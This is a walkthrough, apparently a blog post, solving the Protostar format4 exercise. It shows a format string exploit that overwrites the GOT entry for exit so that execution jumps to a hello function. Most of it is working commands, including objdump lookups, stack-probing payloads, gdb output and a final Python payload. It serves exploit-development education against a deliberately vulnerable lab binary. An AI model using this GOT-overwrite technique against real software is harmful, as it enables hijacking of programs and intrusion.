format4 looks at one method of redirecting execution in a process. (link)
Hmm, this one looks different from format2 and format3 in a couple ways.
First we need to redirect the execution flow (before we were just adjusting the value of a variable in memory). Second, a call to exit is inserted within the vuln code block.
My first thought was to overwrite the saved return address on the stack, but it looks like the exit call will make that fail... the program will jump to exit and terminate before ever returning!
The second thought I had was to overwrite the address saved in the Global Offset Table (GOT) for the exit function. This is what I ended up going with.
First, we'll need to get the address in the GOT where the address for exit is saved:
user@protostar:/opt/protostar/bin$ objdump -TR ./format4
./format4: file format elf32-i386
DYNAMIC SYMBOL TABLE:
00000000 w D *UND* 00000000 __gmon_start__
00000000 DF *UND* 00000000 GLIBC_2.0 fgets
00000000 DF *UND* 00000000 GLIBC_2.0 __libc_start_main
00000000 DF *UND* 00000000 GLIBC_2.0 _exit
00000000 DF *UND* 00000000 GLIBC_2.0 printf
00000000 DF *UND* 00000000 GLIBC_2.0 puts
00000000 DF *UND* 00000000 GLIBC_2.0 exit
080485ec g DO .rodata 00000004 Base _IO_stdin_used
08049730 g DO .bss 00000004 GLIBC_2.0 stdin
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
080496fc R_386_GLOB_DAT __gmon_start__
08049730 R_386_COPY stdin
0804970c R_386_JUMP_SLOT __gmon_start__
08049710 R_386_JUMP_SLOT fgets
08049714 R_386_JUMP_SLOT __libc_start_main
08049718 R_386_JUMP_SLOT _exit
0804971c R_386_JUMP_SLOT printf
08049720 R_386_JUMP_SLOT puts
08049724 R_386_JUMP_SLOT exit
Ok, so we also need the address of hello, so that we can replace the address for exit with the address for hello:
user@protostar:/opt/protostar/bin$ objdump -t ./format4 | grep "hello"
080484b4 g F .text 0000001e hello
Now that we have both of these addresses, we can go ahead with the overwriting....
Same as before, we want to figure out how far up the stack our stdin input is being placed:
user@protostar:/opt/protostar/bin$ python -c "print 'AAAAAAAA' + '%08x.'*10" | ./format4
Got it! Now to zero in on it...
user@protostar:/opt/protostar/bin$ python -c "print 'AAAA' + '%08x.'*4" | ./format4
And substitute in our target address:
user@protostar:/opt/protostar/bin$ python -c "print '\x24\x97\x04\x08' + '%08x.'*4" | ./format4
Ok, now let's try what we have so far to make sure we can get the EIP to jump to an address under our control:
user@protostar:/opt/protostar/bin$ python -c "print '\x24\x97\x04\x08' + '%08x.'*3 + '%n'" > /tmp/format4-buffer
user@protostar:/opt/protostar/bin$ gdb ./format4
GNU gdb (GDB) 7.0.1-debian
Copyright (C) 2009 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu".
For bug reporting instructions, please see:
Reading symbols from /opt/protostar/bin/format4...done.
(gdb) run < /tmp/format4-buffer
Starting program: /opt/protostar/bin/format4 < /tmp/format4-buffer
Program received signal SIGSEGV, Segmentation fault.
0x0000001f in ?? ()
Great! We didn't send it to the right address, but we got it to go to 0x1f in this case.
Now we just need to do a bit of math to figure out how many bytes to print before the %n-- we want it to equal the 0x080484b4 from before:
python -c "print '\x24\x97\x04\x08' + '%44837946x.'*3 + '%n'" | ./format4
code execution redirected! you win